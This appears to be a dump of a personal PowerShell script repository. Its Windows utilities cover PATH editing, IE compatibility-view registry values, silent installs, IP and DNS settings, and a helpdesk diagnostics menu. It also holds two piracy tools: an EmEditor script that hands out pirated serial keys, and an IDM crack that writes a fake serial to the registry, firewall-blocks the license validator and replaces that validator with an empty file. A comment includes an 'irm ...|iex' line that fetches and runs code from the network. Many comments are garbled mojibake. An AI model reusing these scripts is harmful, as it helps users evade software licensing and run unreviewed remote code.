[Environment]::GetEnvironmentVariable('PATH', 'User'); if ($currentUserPath -notlike '*%newPath%*') { $currentUserPath += ';%newPath%'; [Environment]::SetEnvironmentVariable('PATH', $currentUserPath, [System.EnvironmentVariableTarget]::User) }" # REM ݼ PATH ıļ # powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'Machine')" > "%desktopPath%\system_path_backup.txt" # REM ·ڼ PATH У· # powershell -Command "$systemPath = [Environment]::GetEnvironmentVariable('PATH', 'Machine'); if ($systemPath -notlike '*%newPath%*') { $systemPath += ';%newPath%'; [Environment]::SetEnvironmentVariable('PATH', $systemPath, [System.EnvironmentVariableTarget]::Machine) }" # REM ʾ޸ # echo ޸ # echo. # REM ʾ޸ĺ PATH # echo ޸ĺļ PATH # powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'Machine')" # echo. # echo ޸ĺû PATH # powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'User')" # pause # ------------------------ batch --------------------------------- ================================================ FILE: d-pwsh/clac_ie_clearablelistdata_hex.ps1 ================================================ # 使用说明 # 下载到本地使用,需转成 GB2312 编码,否则中文乱码 Function Get-WebsiteHex(){ [CmdletBinding()] param( [Parameter(Mandatory=$True)] [string]$website ) # 去除网址中的 https:// 和 http:// 前缀 $website = $website -replace "https?://", "" # 去除斜杠后的所有内容 $website = $website -replace "/.*" # 计算网站名称的十六进制长度 $hex_length = [BitConverter]::ToString([BitConverter]::GetBytes([int16]$website.length)).replace('-','') # 将网站名称转换为十六进制数据 $hex_data = ([System.Text.Encoding]::Unicode.GetBytes($website) | ForEach-Object { "{0:X2}" -f $_ }) -join "" return "0C000000000000000000000101000000$hex_length$hex_data" } Function Get-IECompatibilityViewHexHeader(){ [CmdletBinding()] param( [Parameter(Mandatory=$True)] [string[]]$websites ) # 构建 IE 兼容性视图的头部 return ("411F00005308ADBA{0}FFFFFFFF01000000{0}" -f ([BitConverter]::ToString([BitConverter]::GetBytes([int32]$websites.count)).replace('-',''))) } Function Get-IECVHex(){ [CmdletBinding()] param( [Parameter(Mandatory=$True)] [string]$websites, [switch]$ReturnBytes ) # 获取每个网站的十六进制表示,并将它们连接起来 $siteArray = $websites -split "[, ]" | Where-Object { $_.Trim() -ne '' } $hex_website = $siteArray | ForEach-Object { Get-WebsiteHex $_ } $hex_result = ("411F00005308ADBA{0}FFFFFFFF01000000{0}$hex_website" -f [BitConverter]::ToString([BitConverter]::GetBytes([int32]$siteArray.count)).replace('-','')) -replace " " if( $ReturnBytes ){ # 如果传入了 "-ReturnBytes" 开关,则返回字节数组 [byte[]]$bytes = @() for( $n=0; $n -lt $hex_result.length; $n += 2 ){ $bytes += ([Convert]::ToInt64($hex_result.substring($n,2),16)) } return $bytes }else{ # 否则,返回十六进制字符串 return $hex_result } } Write-Host "" $websites = Read-Host "请输入想要IE兼容视图的网址" # 从用户输入中获取网址并调用 Get-IECVHex 函数 Write-Host "`n 所有相关网址的hex值已生成,复制如下指令即可: `n" Write-Host 'reg add "HKCU\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData" /v "UserFilter" /t REG_BINARY /d ' -NoNewline Get-IECVHex -websites $websites # 参考链接: # * [Windows Powershell进阶(43) 注册表操作之IE兼容性视图](https://chaoyuew.gitee.io/WPS-43-Advanced-Modifying-IE-Compatibility-View-Settings-with-Powershell.html) # * [Jeff's Blog - MODIFYING IE COMPATIBILITY VIEW SETTINGS WITH POWERSHELL](http://jeffgraves.me/2014/02/19/modifying-ie-compatibility-view-settings-with-powershell/) # * [csdn - IE浏览器兼容性视图设置数据解析](https://blog.csdn.net/thb_cn/article/details/125124565) ================================================ FILE: d-pwsh/emeditor_random_keygen.ps1 ================================================ # 发现一个升级的aiu文件,删不删随喜吧,"C:\ProgramData\Emurasoft\EmEditor\updates\emed64_updates4u.aiu" # 摇骰子1~6点随机选一个 emeditor key。 # $emeditor_v21_str;$getkey; 重复定义增加多余的输出显示 $i = (1..6|Get-Random) $emeditor_v21_str = switch ($i) { 1 {"RABNAEEAWgBNAC0AVwBIAFkANQAyAC0AQQBYADIAMgAyAC0AWgBRAEoAWABOAC0ANwA5AEoAWABIAA=="} 2 {"RABTAEIAWgBHAC0AQgBGADIAWABIAC0ATQA5ADIAMgAyAC0ARAA1AE0AOABMAC0AUQBDAEMAWABIAA=="} 3 {"RABNAEEAWgBFAC0AVgBLAFoASgBWAC0AMgA4AFoAWgBaAC0ANABUADcAQQBKAC0ANwBIAEgANQA1AA=="} 4 {"RABQAEEAWgA2AC0AUwBIADIAVQBQAC0AUwA3AFoAWgBaAC0AWAA0ADcAVABVAC0ARgBVAEwAMgBYAA=="} 5 {"RABTAEgAWgBBAC0AUQBKADMARwBXAC0AWQBVAFoAWgBaAC0AUwBWAEYAWgAyAC0ANgBEAEIAVQBFAA=="} 6 {"RABNAEEAWgBNAC0AWgBNADUANQA2AC0ASwA2AFoAWgBaAC0AOQA5AEwAVwA4AC0AVwBWADUAQgBUAA=="} } # 编码测试 [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("asdasdxzczc")); $getkey = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($emeditor_v21_str)) Set-Clipboard -Value $getkey # Get-Clipboard Write-Output "" Write-Output "注册名字随便填一个,序列号粘贴进去就行了。序列号已复制到粘贴板:" $getkey Write-Output "" Write-Output "xp/win7/server2008请下载:http://files.emeditor.com/emed32_14.8.1.exe" Write-Output "" Write-Output "win10/win11及未来更高版本以上:https://support.emeditor.com/en/downloads/latest/installer/64" <# 实验: ## iwr https | iex 倒是不用再删除自身了( remove-item $MyInvocation.MyCommand.Path -force ) ## utf8显示中文会出问题,GB2312还是会出问题,可能iex只支持ansi显示了... ## 编码:GB2312,Mac调试powershell注意换回UTF8 ## iwr https | iex 可能可以使用下UTF8 (方案已成功) ## irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-pwsh/emeditor_random_keygen.ps1|iex (新) ## curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/d-pwsh/main/emeditor_random_keygen.ps1 && ### powershell -c emeditor_random_keygen.ps1 (旧) 参考链接: https://www.educba.com/powershell-base64/ https://www.52pojie.cn/thread-658917-1-1.html https://www.52pojie.cn/forum.php?mod=viewthread&tid=578165 https://www.cnblogs.com/estherlty/p/15771219.html https://www.bilibili.com/read/cv19068695 https://www.baidu.com/s?wd=emeditor https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-clipboard https://learn.microsoft.com/zh-cn/powershell/scripting/learn/deep-dives/everything-about-switch http://zhishichong.com/article/47563 http://www.hackdig.com/03/hack-309458.htm | DUANG~ 嘎得 KEY | 抛瓦拜 一群网友们| |:---------------------------------------------------------:| |DMAZM-WHY52-AX222-ZQJXN-79JXH|DSBZG-BF2XH-M9222-D5M8L-QCCXH| |DKAZQ-R9TYP-5SM2A-9Z8KD-3E2RK||DQHZ2-ZWTCU-S5222-6GT6T-QZ4HZ| #> ================================================ FILE: d-pwsh/ez_auto_install.ps1 ================================================ # ˵ # ԸPDFĶͬĴʽ򣬾Ĭã echo "ʾҪԶװĿ¼ļмɡ" # foreachĿ¼ $rawPath = "C:${Env:\HOMEPATH}\Downloads\"; $allFile = Get-ChildItem -Path $rawPath; foreach ($file in $allFile) { # תļ·ַ $softname="C:${Env:\HOMEPATH}\Downloads\"+$file.name # Write-Host $softname Start-Process -Wait -FilePath $softname -ArgumentList '/S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES /FORCE' -PassThru } echo "ok" # [cnblogs-powershell Ŀ¼](https://www.cnblogs.com/068XS228/p/15466163.html) # [cnblogs-WindowsĬװ ](https://www.cnblogs.com/toor/p/4198061.html) # [csdn-Windows PowerShellлȡǰû](https://blog.csdn.net/CHCH998/article/details/107726143) # [cnblogs-GitHubķٶ](https://www.cnblogs.com/lemonguess/p/15143645.html) ================================================ FILE: d-pwsh/ez_edit_net.ps1 ================================================ # ˵ # 1. һ˵IPóIPַͨ󲿷ֲǹ̶ģʡֻ޸һIP # 2. hostsCMDԱ򿪼±д... notepad C:\Windows\System32\drivers\etc\hosts # 3. ʹãnslookupܵӰ죬ƲΪתԭ # 4. nslookupͨԶdnsIPv6ĵַ # 5. ÿһĴ붼ȥãps1еЧдdns.sb #***************Ի̬IPü********************* # 1. дIPDNS֮ǰʷϢ netsh interface ip show config > ipbak.txt ## 1.2 ӡҪʾ echo "cmd ipbak.txt 鿴ϢͰdel ipbak.txt" # 2. ޸IP롢 $input_ip = Read-Host "IPַ";netsh interface ip set address "̫" static $input_ip 255.255.255.0 192.168.1.1 # 3. DNSӡOK Set-DnsClientServerAddress -InterfaceAlias "̫" -ServerAddresses ("114.114.114.114","8.8.8.8");echo "OK" #------------------------------------------------------------ #*****************̬IPDNSü**************** netsh interface ip set address "̫" dhcp netsh interface ip set dnsservers "̫" source=dhcp #------------------------------------------------------------ #*******************վdnsд************************ # չ nslookup -ty=ptr 1.1.1.1 # 1. nslookupַУȡdns¼עıdns.sbһdns nslookup dns.sb|Select-Object -Index 4 >dns-w.txt # 2. ȡdns-w.txtıݣɸѡIPַ$matches[0]ȡֵ (Get-Content dns-w.txt) -match '\d+\.\d+\.\d+\.\d+'; $get_dns_num = $matches[0] # dnsȥ Set-DnsClientServerAddress -InterfaceAlias "̫" -ServerAddresses ($get_dns_num) # ˳ѽ¼ıɾӡok del dns-w.txt;echo "ok" #------------------------------------------------------------ # οݸ ## ̬IPòο ### [netsh鿴IPַDNSַǽ](https://blog.51cto.com/guochunyang/5851385) ### [WindowsʹPowershell GrepSelect-String Cmdlet Grepıļ](https://blog.csdn.net/cunjiu9486/article/details/109074646) ### [PowerShellIPַ](https://blog.csdn.net/qq_41863100/article/details/120360662) ### [cnblogs-޸ip](https://www.cnblogs.com/awpatp/p/4549119.html) ### [Էå⡿PowerShellˤIPɥ쥹OӉ](https://qiita.com/Kirito1617/items/aed439bcb66c63489337) ### [powershell - ʹPowershellڶϿӵþ̬IPǷԣ](https://www.coder.work/article/7399792) ## վdnsдο ### [֮-Powershell˹ܵ](https://www.shuzhiduo.com/A/MAzAb2xMJ9/) ### [nhooo-PowerShellʹʽƥַʵ](https://www.nhooo.com/note/qacidn.html) ### [csdn-ʽܣƥ/ַƥ/ƥ䣩](https://blog.csdn.net/zx77588023/article/details/107116196/) ### [csdn-nslookup ](https://blog.csdn.net/weixin_42426841/article/details/115364502) ## Բο ### [ڿõ IPv6 DNS ͼ DNS](https://www.cccitu.com/2205359.html) ### [csdn-޷XXXʶΪ cmdletűļгơ Ľ](https://blog.csdn.net/sxeric/article/details/122403591) ## ն.ݸ1 ### ӡipconfig /allУƥؼַ֣ ### $show_ip = ipconfig /all|Select-String "IPV4","","Ĭ"|out-string ### IPãDNS12ȫ ### Write-Output $show_ip;get-DnsClientServerAddress -InterfaceAlias "̫" -AddressFamily "IPv4" ================================================ FILE: d-pwsh/fail_idm.ps1 ================================================ # *************עϢ˵****************** ## HKLMøؼϵͳϢӲͲϵͳϢȫݺͼרõĸϢ ## HKUЩϢϵͳǰûʹõͼ꣬ij飬ʼ˵Լɫ ## HkCUøǰ¼ûϢ˳Լõ ## HKCC: ӲϢ ## ʵHKEY_LOCAL_MACHINE HKEY_USERSעǴij֧ӳģ൱ڿݼʽDZ # ܼšInternet Download Managerɾɾ㡣 # reg del DownloadManagerоɾעҲǿһȷ # ɾעϢⲿֿû¶ԣƱƽһȫɨһ顣ʺϵ # reg delete "HKLM\Software\DownloadManager" /f 2> $null # reg delete "HKU\.DEFAULT\Software\Download Manager" /f 2>$null Ĭ # reg delete "HKLM\SOFTWARE\Internet Download Manager" /f /reg:32 /reg:32 32λ # HKCUøǰ¼ûϢ˳Լõȣǰû # reg delete "HKCU\Software\DownloadManager" /f /v "MData" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "LName" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "FName" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "Email" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "Serial" 2> $null # صˣɾɨм֤Ϣ # reg delete "HKCU\Software\DownloadManager" /f /v "scansk" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "tvfrdt" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "radxcnt" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "ptrk_scdt" 2> $null # ɾصϢԼ°桢پĬ£ # reg delete "HKCU\Software\DownloadManager" /f /v "LstCheck" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "LastCheckQU" 2> $null # reg delete "HKCU\Software\DownloadManager" /f /v "CheckUpdtVM" 2> $null # # HKUЩϢϵͳûʹõͼ꣬ij飬ʼ˵Լɫȣû # ⲿֵľӦϵͳϼ¼ļϢԼĿ # ȡsid # $sid=whoami /user |Select-String -SimpleMatch "S-"|Write-Output # reg delete "HKU\$sid\Software\DownloadManager" /f /v "MData" # reg delete "HKU\$sid\Software\DownloadManager" /f /v "MData" 2> $null # ͬ #********************************************* #****רУCLSID ClassesWow6432Node .DEFAULT*** # ȵ˵GUID\ȫΨһʾ,WindowsϵͳҲ֮ΪClass IDдΪCLSID # CLSIDһ128λΪȷԣظ㷨ҪǴ֣ ## 1. һϵͳкţÿһMACַһ˲IDҲͻв졣 ## 2. һϵͳĵǰʱ䡣 # Wow6432Node Wow32Nodeڴ32λעϢõġ # 64λWindows 7ϵͳǿԿϰװ32λעϢ #****************************************** # ****עߣRegistry Finder ϵͳWindows11 Mac*** # ҵעֵ # {07999AC3-058B-40BF-984F-69EB1E554CA7} # {5312C54E-A385-46B7-B200-ABAF81B03935} # {436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D} # {E6871B76-C3C8-44DD-B947-ABFFE144860D} # {79873CC5-3951-43ED-BDF9-D8759474B6FD} # ۺƲģʽж׽classidԼƽⰮռйidm classid # ֻһ汾Ϊ˼ݡ # Щclassic ϶ǶʾݣҲû˵ѣΪעϢ.... # δҵclass id # {7B8E9164-324D-4A2E-A46D-0165FB2000EC} # {5ED60779-4DE2-4E07-B862-974CA4FF2E9C} # {6DDF00DB-1234-46EC-8356-27E7B2051192} # {D5B91409-A8CA-4973-9A0B-59F713D25671} # {9C9D53D4-A978-43FC-93E2-1C21B529E6D7} # {E8CF4E59-B7A3-41F2-86C7-82B03334F22A} # {84797876-C678-1780-A556-0CD06786780F} #******************************************* # һӼϢעỹDzУʧЧ # ԭѲעдȥʧЧ # ɱhostsãipҲû # ģΪ̻.batࡢظδŻעɾĿɹ # ɵ㣬֮ǰҵ﷨ַ档 # ֻ£עϢ # 壺δҵclass idע͡ӵϢע͵ʧЧ # ע͹עĿʧЧӢɴܹڴû֤ # ߣӷǽڵЧ # : ߼ϣȡļ "C:\Program Files (x86)\Internet Download Manager\IDMGrHlp.exe" #**************дע뼤еidm************ # ûУɱн˵α taskkill /F /IM "IDM*" /T 2> $null # taskkill /F /IM "IDMGrHlp.exe" 2> $null # taskkill /F /IM "IEMonitor.exe" 2> $null # taskkill /F /IM "IDMMsgHost.exe" 2> $null # taskkill /F /IM "MediumILStart.exe" 2> $null # taskkill /F /IM "MediumILStart.exe" 2> $null # taskkill /F /IM "IDMIntegrator64.exe" 2> $null # reg add "HKCU\Software\DownloadManager" /f /v "LName" /d "Inc." 2> $null # reg add "HKCU\Software\DownloadManager" /f /v "FName" /d "Tonec" 2> $null # reg add "HKCU\Software\DownloadManager" /f /v "LstCheck" /d "19/01/38" 2> $null # reg add "HKCU\Software\DownloadManager" /f /v "Email" /d "info@tonec.com" 2> $null # reg add "HKCU\Software\DownloadManager" /f /v "Serial" /d "7WPV5-NHHF3-A2P39-LRJ74" 2> $null # HKLMøؼϵͳϢӲͲϵͳϢȫݺͼרõĸϢ reg delete "HKLM\Software\DownloadManager" /f 2> $null reg delete "HKLM\Software\Download Manager" /f 2> $null reg delete "HKLM\Software\DownloadManager" /f /reg:32 2> $null reg delete "HKLM\Software\Download Manager" /f /reg:32 2> $null reg delete "HKLM\SOFTWARE\Internet Download Manager" /f 2> $null reg delete "HKLM\SOFTWARE\Internet Download Manager" /f /reg:32 2> $null reg delete "HKU\.DEFAULT\Software\DownloadManager" /f 2> $null reg delete "HKU\.DEFAULT\Software\Download Manager" /f 2> $null reg delete "HKU\.DEFAULT\Software\DownloadManager" /f /reg:32 2> $null reg delete "HKU\.DEFAULT\Software\Download Manager" /f /reg:32 2> $null ## HkCUøǰ¼ûϢ˳Լõ reg delete "HKCU\Software\DownloadManager" /f /v "MData" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "LName" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "FName" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "Email" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "Serial" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "scansk" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "tvfrdt" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "radxcnt" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "LstCheck" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "ptrk_scdt" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "LastCheckQU" 2> $null reg delete "HKCU\Software\DownloadManager" /f /v "CheckUpdtVM" 2> $null $sid=whoami /user| Select-String -SimpleMatch "-S"|Write-Output reg delete "HKU\$sid\Software\DownloadManager" /f /v "MData" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "LName" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "FName" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "Email" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "Serial" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "scansk" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "tvfrdt" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "radxcnt" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "LstCheck" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "ptrk_scdt" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "LastCheckQU" 2> $null reg delete "HKU\$sid\Software\DownloadManager" /f /v "CheckUpdtVM" 2> $null # дɾЩעclass id function Idm-Reg-Del { reg delete "HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\$idm_classid" /f 2> $null reg delete "HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\$idm_classid" /f 2> $null reg delete "HKEY_USERS\.DEFAULT\Software\Classes\CLSID\$idm_classid" /f 2> $null reg delete "HKEY_USERS\.DEFAULT\Software\Classes\Wow6432Node\CLSID\$idm_classid" /f 2> $null } $idm_classid="{07999AC3-058B-40BF-984F-69EB1E554CA7}";Idm-Reg-Del $idm_classid="{5312C54E-A385-46B7-B200-ABAF81B03935}";Idm-Reg-Del $idm_classid="{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}";Idm-Reg-Del $idm_classid="{E6871B76-C3C8-44DD-B947-ABFFE144860D}";Idm-Reg-Del $idm_classid="{79873CC5-3951-43ED-BDF9-D8759474B6FD}";Idm-Reg-Del $idm_classid="{7B8E9164-324D-4A2E-A46D-0165FB2000EC}";Idm-Reg-Del $idm_classid="{5ED60779-4DE2-4E07-B862-974CA4FF2E9C}";Idm-Reg-Del $idm_classid="{6DDF00DB-1234-46EC-8356-27E7B2051192}";Idm-Reg-Del $idm_classid="{D5B91409-A8CA-4973-9A0B-59F713D25671}";Idm-Reg-Del $idm_classid="{9C9D53D4-A978-43FC-93E2-1C21B529E6D7";Idm-Reg-Del $idm_classid="{E8CF4E59-B7A3-41F2-86C7-82B03334F22A}";Idm-Reg-Del $idm_classid="{84797876-C678-1780-A556-0CD06786780F}";Idm-Reg-Del # Write-Output "дעϢ" # netsh interface set interface "̫" disabled # Start-Sleep -s 3 # ʼдעϢ # ԣϵ̻Ȼ࣬ظЧһʶֻж #עϢɾӣDzΪ֮µעϢûҪ reg add "HKCU\Software\DownloadManager" /f /v "LName" /d "Inc." 2> $null reg add "HKCU\Software\DownloadManager" /f /v "FName" /d "Tonec" 2> $null reg add "HKCU\Software\DownloadManager" /f /v "LstCheck" /d "19/01/38" 2> $null reg add "HKCU\Software\DownloadManager" /f /v "Email" /d "info@tonec.com" 2> $null reg add "HKCU\Software\DownloadManager" /f /v "Serial" /d "7WPV5-NHHF3-A2P39-LRJ74" 2> $null # ban ip # netsh advfirewall firewall add rule name="IDM֤IPַ" dir=out action=block enable=yes profile=any localip=any remoteip="169.55.0.227","169.55.0.224","50.22.78.28","50.97.82.44","69.41.163.149","174.127.73.85" interfacetype=any # ban ֤ netsh advfirewall firewall add rule name="-IDM֤" dir=out program="C:\Program Files (x86)\Internet Download Manager\IDMGrHlp.exe" action=block Remove-Item -Path "C:\Program Files (x86)\Internet Download Manager\IDMGrHlp.exe" -Recurse -Force New-Item "C:\Program Files (x86)\Internet Download Manager\IDMGrHlp.exe" -type file -force # Write-Output " # 127.0.0.1 *.registeridm.com # 127.0.0.1 *.tonec.com # 127.0.0.1 *register.internetdownloadmanager.com # 127.0.0.1 *register.idm.com # 127.0.0.1 *reg.idm.com # 127.0.0.1 reg.internetdownloadmanager.com # " >> C:\Windows\System32\drivers\etc\hosts # Write-Output "磬idm֤" # netsh interface set interface "̫" enable Write-Output "עкŵϢ߼ԡ" #*******ο************ # # [csdn-CMD ](https://blog.csdn.net/xiaoruofan/article/details/126263734) # [Windows10ʹPowerShellֹIPվ](https://www.xiaoyuanjiu.com/100298.html) # [д-ֹijЩ/ⲿipַӵinternet(ļwindowsǽ)](http://ask.sov5.cn/q/A2ohMJN7dq) # [÷ǽֹidm֤](https://blog.csdn.net/q412717840/article/details/109743287) # [cnblogs-IDM HOSTSע εַ](https://www.cnblogs.com/Magiclala/p/16111334.html) # [souhu-IDM°汾ʾķ](https://www.sohu.com/a/132104086_612933) # [cnblogs-ȡϵͳеǰ˻SID](https://www.cnblogs.com/GuominQiu/articles/1871063.html) # [cnblogs-wmic ÷ʵ](https://jiuaidu.com/jianzhan/908099/) # [qa.1r1g-ִʱκPowerShellеض](https://qa.1r1g.com/sf/ask/3818470141/) # ע # [csdn-RegDeleteKey޷ɾע](https://blog.csdn.net/yiyefangzhou24/article/details/6134536) # [csdn-עHKCR, HKCU, HKLM, HKU, HKCCעгõ5](https://blog.csdn.net/up_upup/article/details/108679443) # [cnblogs-ӦӦ-Windowsֲ¼](https://www.cnblogs.com/autopwn/p/15701716.html) # [cnblogsװʱдע](https://www.cnblogs.com/Leo_wl/archive/2012/10/19/2731740.html) # [ժٿ-clsid](https://www.zhaibian.com/baike/26933812114132084113.html) # [ͤ-Win7עWow6432Nodeʲô?](https://www.beihaiting.com/a/ZSK/JZS/2013/0410/1869.html) # ַ # [csdn-for /f֮DelimsTokens÷&ܽ](https://blog.csdn.net/kagurawill/article/details/114982328) # [ٶ֪-ִDOS˵ʱӦ%%a,ְæ](https://zhidao.baidu.com/question/1548324309453385987.html) # [cnblogs-еıͲһ](https://www.cnblogs.com/siwuxie095/p/6351210.html) # [cnblogs-Powershell findstr](https://www.cnblogs.com/thescentedpath/p/findstr.html) # [csdn-powershell ļ/ļв](https://blog.csdn.net/winterye12/article/details/105918774) # ݸ # netsh advfirewall firewall add rule name="-IDM" dir=out program="C:\Program Files (x86)\Internet Download Manager\IDMan.exe" action=block # netsh advfirewall firewall del rule name="-IDM" # netsh interface set interface "̫" disabled # netsh advfirewall firewall add rule name="-IDM֤" dir=out program="C:\Program Files (x86)\Internet Download Manager\IDMGrHlp.exe" action=block # netsh advfirewall firewall add rule name="IDM֤IPַ" dir=out action=block enable=yes profile=any localip=any remoteip="169.55.0.227","169.55.0.224","50.22.78.28","50.97.82.44","69.41.163.149","174.echo 127.73.85" interfacetype=any # ض֤˫£СʧЧļʡ # echo 127.0.0.1 *.registeridm.com >> C:\Windows\System32\drivers\etc\hosts # ڵ %i%%i ļá # ȡϵSID:wmic userAccount where "Name='%userName%'" get sid /value # For /fıȡַ delimsзַtokensȡַʱsidͳɴsid # forѭ֧飬Ƕ׳˻ᣬ̫УѸ # ظԵĴװɺҲû...gotoɡʼclassidgotoװ # ѻpowershell ================================================ FILE: d-pwsh/frontline_helpdesk.ps1 ================================================ # 使用说明 # 下载到本地使用,需转成 GB2312 编码,否则中文乱码 function sel_man { # 开启PowerShell:Set-ExecutionPolicy RemoteSigned # 关闭PowerShell:Set-ExecutionPolicy Restricted # 别名查询:Get-Alias | Where-Object { $_.Definition -eq 'ForEach-Object' } Clear-Host Write-Host "`n*************************************************************" -ForegroundColor Green Write-Host "`n温馨提示:`n" -ForegroundColor Green Write-Host "1. 脚本适用Windows10及以上操作系统,并确保主机已开启PowerShell功能" -ForegroundColor Green Write-Host "2. 主机启用/禁用 PowerShell指令: " -ForegroundColor Green -nonewline Write-Host "Set-ExecutionPolicy RemoteSigned / Set-ExecutionPolicy Restricted" -ForegroundColor DarkYellow Write-Host "3. 该脚本信息量较大,建议全屏使用;其他见:" -ForegroundColor Green -NoNewLine Write-Host "https://github.com/hoochanlon/scripts `n" -ForegroundColor Blue Write-Host " [1] 检查IP与网络设备连接近况" -ForegroundColor Green Write-Host " [2] 检查打印机、打印池、扫描仪状态" -ForegroundColor Green Write-Host " [3] 检查硬盘、CPU、内存、显卡等基础驱动信息" -ForegroundColor Green Write-Host " [4] 检查设备安全性、近期升级补丁、定时任务项、证书策略、系统核心文件控制访问状况" -ForegroundColor Green Write-Host " [5] 检查主机主动共享协议相关信息" -ForegroundColor Green Write-Host " [6] 检查电脑休眠、重启频次、异常关机、程序崩溃等信息" -ForegroundColor Green Write-Host " [7] 执行1~6选项的所有功能" -ForegroundColor Green -BackgroundColor DarkGray Write-Host ' [8] 生成"驱动检查"、"五天内预警事件"、"logon/logoff 活动记录"、"月度已存威胁概况"分析报表' -ForegroundColor Green Write-Host " [9] 查看指导建议与开发说明 `n" -ForegroundColor Green Write-Host "`**************************************************************`n" -ForegroundColor Green Write-Host "按 Ctrl + C 可退出,键入 /?查阅该提示选项,数字键(可连续)选择相应功能:" -ForegroundColor Green -NoNewLine } # 查阅指导建议与开发说明 function dev_man { # cls Write-Host "`n" Write-Host "### 查阅开发文档说明 ###`n" -ForegroundColor Cyan Write-Host "@Author https://github.com/hoochanlon`n" Write-Host "#驱动·设备驱动信息表查看`n" -ForegroundColor Yellow Write-Host "* Problem(问题)是与设备或驱动相关的一个或多个问题的描述。可能的值包括无法启动、错误、冲突等。" Write-Host "* ConfigManagerUserConfig(配置管理器用户配置)指示设备或驱动是否由用户或系统进行了配置更改。" Write-Host "* ClassGuid(类别 GUID)是驱动所属设备类型的 GUID(全局唯一标识符)。" Write-Host "* Manufacturer(制造商)是生产设备或驱动的公司或组织的名称。" Write-Host "* Present(是否存在)指示设备是否存在于系统上。" Write-Host "* Service(服务)是负责管理设备或驱动的 Windows 服务的名称。" Write-Host "* Problem:CM_PROB_PHANTOM 表示设备被操作系统标记为“虚假”的设备,损坏、丢失、未正确安装。" Write-Host "* Problem:CM_PROB_NONE 状态时,它应该可以正常工作,没有任何故障或错误。`n" Write-Host "详情见:" -ForegroundColor Yellow -NoNewline; Write-Host "https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/device-manager-problem-codes" -ForegroundColor Blue Write-Host "`n#注册表·注册表概要说明 `n" -ForegroundColor Yellow Write-Host "* HKLM:该根键包括本地计算机的系统信息,包括硬件和操作系统信息,安全数据和计算机专用的各类软件设置信息" Write-Host "* HKU:这些信息告诉系统当前用户使用的图标,激活的程序组,开始菜单的内容以及颜色、字体。 " Write-Host "* HkCU:该根键包括当前登录用户的配置信息,包括环境变量,个人程序以及桌面设置等。" Write-Host "* HKCC: 硬件的配置信息。其实HKEY_LOCAL_MACHINE、 HKEY_USERS、这两个才是真正的注册表键,其他都是从某个分支映射出来的,相当于快捷键方式或是别名。`n" Write-Host "`n* 注册表参考网站:" -ForegroundColor Yellow Write-Host " https://admx.help" -ForegroundColor Blue Write-Host " https://learn.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list" -ForegroundColor Blue Write-Host "`n* 注册表分析及改写工具:" -ForegroundColor Yellow Write-Host " 注册表分析工具:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.nirsoft.net/utils/regscanner.html" -ForegroundColor Blue Write-Host " 注册表改写工具:" -ForegroundColor Yellow -nonewline; Write-Host "https://registry-finder.com" -ForegroundColor Blue Write-Host "`n#日志·事件级别:`n" -ForegroundColor Yellow Write-Host " 1. 信息 (Information),是正常的操作行为或系统状态的轻微变化,但并不表示系统存在任何问题或错误。" Write-Host " 2. 警告 (Warning),,发现已存在的问题或潜在的错误,起到早期的指示作用。" Write-Host " 3. 错误 (Error),表示某个操作或任务未能完成或完成不正确,需要引起注意。`n" Write-Host '在 Windows 事件中,“成功审核”和“失败审核”实际上不是作为事件级别进行报告的,而是作为事件分类或事件源之一。' Write-Host "事件ID对应多个不同分类的日志,而每个不同分类的日志对定位的级别,也各不相同。`n" Write-Host "#日志·程序标识符 `n" -ForegroundColor Yellow Write-Host "每个事件提供程序都有唯一的 ProviderName。以下是系统日志中,其常见的部分示例:`n" Write-Host "* Microsoft-Windows-Kernel-Power:提供了与系统电源管理相关的事件,例如系统挂起、恢复、关机、重启等。" Write-Host "* Microsoft-Windows-Kernel-General:提供了与操作系统内核相关的事件,例如启动或关闭操作系统、内核初始化、驱动程序加载等。" Write-Host "* Microsoft-Windows-Wininit:提供了与系统引导和初始化相关的事件,例如启动初始化进程、检查文件系统、加载系统驱动程序等。" Write-Host "* 